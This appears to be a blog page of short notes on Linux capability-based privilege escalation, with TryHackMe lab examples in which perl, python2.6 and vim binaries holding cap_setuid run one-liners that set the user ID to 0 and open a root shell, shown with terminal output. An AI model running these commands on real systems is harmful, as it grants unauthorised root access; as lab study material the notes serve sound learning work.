Skip to main content

Linux Capabilities: Notes

Example: perl

hatter@wonderland:~$ getcap /usr/bin/perl
/usr/bin/perl = cap_setuid+ep
$ ./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
root@wonderland:~# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
root@wonderland:~#

Example: python2.6

TCM@debian:~$ getcap -r / 2>/dev/null
TCM@debian:~$ /usr/bin/python2.6 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@debian:~# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~#


leonard@undiscovered:~$ getcap -r /usr/bin/vim.basic
/usr/bin/vim.basic = cap_setuid+ep
leonard@undiscovered:~$ /usr/bin/vim.basic -c 'py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
^[[2;2R# id
sh: 1: ot found
sh: 1: 2Rid: not found
# id
uid=0(root) gid=1002(leonard) groups=1002(leonard),3004(developer)
#

References

Linux Privilege Escalation using Capabilities

Using POSIX Capabilities | THE URBAN PENGUIN

Practice

THM | Wonderland

THM | Undiscovered

Related articles

Linux SUID - Set User ID

Labels:

Popular posts from this blog

Check and install php7.0-mbstring extention on Ubuntu 16.04 and Microsoft Windows

While learning Facebook SDK for PHP I overlooked one of system requirements preventing my code from running on my host. That is The mbstring extension. Facebook SDK for PHP's system requirements Check if mbstring is enabled root@ubuntu001:~# php -a Interactive mode enabled php > echo extension_loaded('mbstring'); php >exit root@ubuntu001:~# apt-cache search php7 | grep mbstring php7.0-mbstring - MBSTRING module for PHP root@ubuntu001:~# Install php7.0-mbstring root@ubuntu001:~# apt-get install php7.0-mbstring Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required:   fontconfig-config fonts-dejavu-core libfontconfig1 libgd3 libjbig0   libjpeg-turbo8 libjpeg8 libmcrypt4 libtiff5 libvpx3 libxpm4 Use 'apt autoremove' to remove them. The following additional packages will be installed:   libapache2-mod-php7.0 php7.0-cli ph...
Read more

Powershell: Test-NetConnection

PS C:\Users\tuyen> get-help Test-NetConnection NAME     Test-NetConnection SYNTAX     Test-NetConnection [[-ComputerName] <string>] [-TraceRoute] [-Hops <int>] [-InformationLevel {Quiet |     Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] [-CommonTCPPort] {HTTP | RDP | SMB | WINRM}     [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -Port <int> [-InformationLevel {Quiet | Detailed}]     [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -DiagnoseRouting [-ConstrainSourceAddress <string>]     [-ConstrainInterface <uint32>] [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>] ALIASES     TNC REMARKS     Get-Help cannot find the Help files fo...
Read more